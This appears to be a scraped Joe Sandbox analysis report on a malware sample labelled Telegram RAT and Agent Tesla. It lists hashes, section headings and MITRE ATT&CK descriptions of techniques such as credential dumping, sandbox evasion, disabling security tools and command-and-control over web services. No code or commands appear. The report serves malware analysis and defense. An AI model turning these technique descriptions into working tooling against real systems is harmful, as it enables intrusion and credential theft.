XPiq, xrefs: 0673406A

Memory Dump Source

Source File: 00000000.00000002.4111250182.0000000006730000.00000040.00000800.00020000.00000000.sdmp, Offset: 06730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6730000_1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.jbxd

Similarity

API ID:
String ID: XPiq$\Oiq
API String ID: 0-4187271475
Opcode ID: 63f4634af69bf45311e76eed7400a8f03299e1ba45efaae1363c6aed5309e2bd
Instruction ID: 16cbaa31b6c3fd7ea34222ce59fc7f39876ef000f3742756d22d3c3947095207
Opcode Fuzzy Hash: 63f4634af69bf45311e76eed7400a8f03299e1ba45efaae1363c6aed5309e2bd
Instruction Fuzzy Hash: 5BE1F431F241248FDB64DB68D48467EBBF2FB89320F2584AAD446DB396CA35DC41C790

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: Agenttesla

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Windows Analysis Report
1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Function 06739700 Relevance: 8.0, Strings: 6, Instructions: 467
COMMON

Function 0673C450 Relevance: 4.3, Strings: 3, Instructions: 564
COMMON

Function 06735E38 Relevance: 3.0, Strings: 2, Instructions: 474
COMMON

Function 0673E0D8 Relevance: 2.8, Strings: 2, Instructions: 334
COMMON

Function 0321675C Relevance: 1.6, APIs: 1, Instructions: 65
fileCOMMON

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre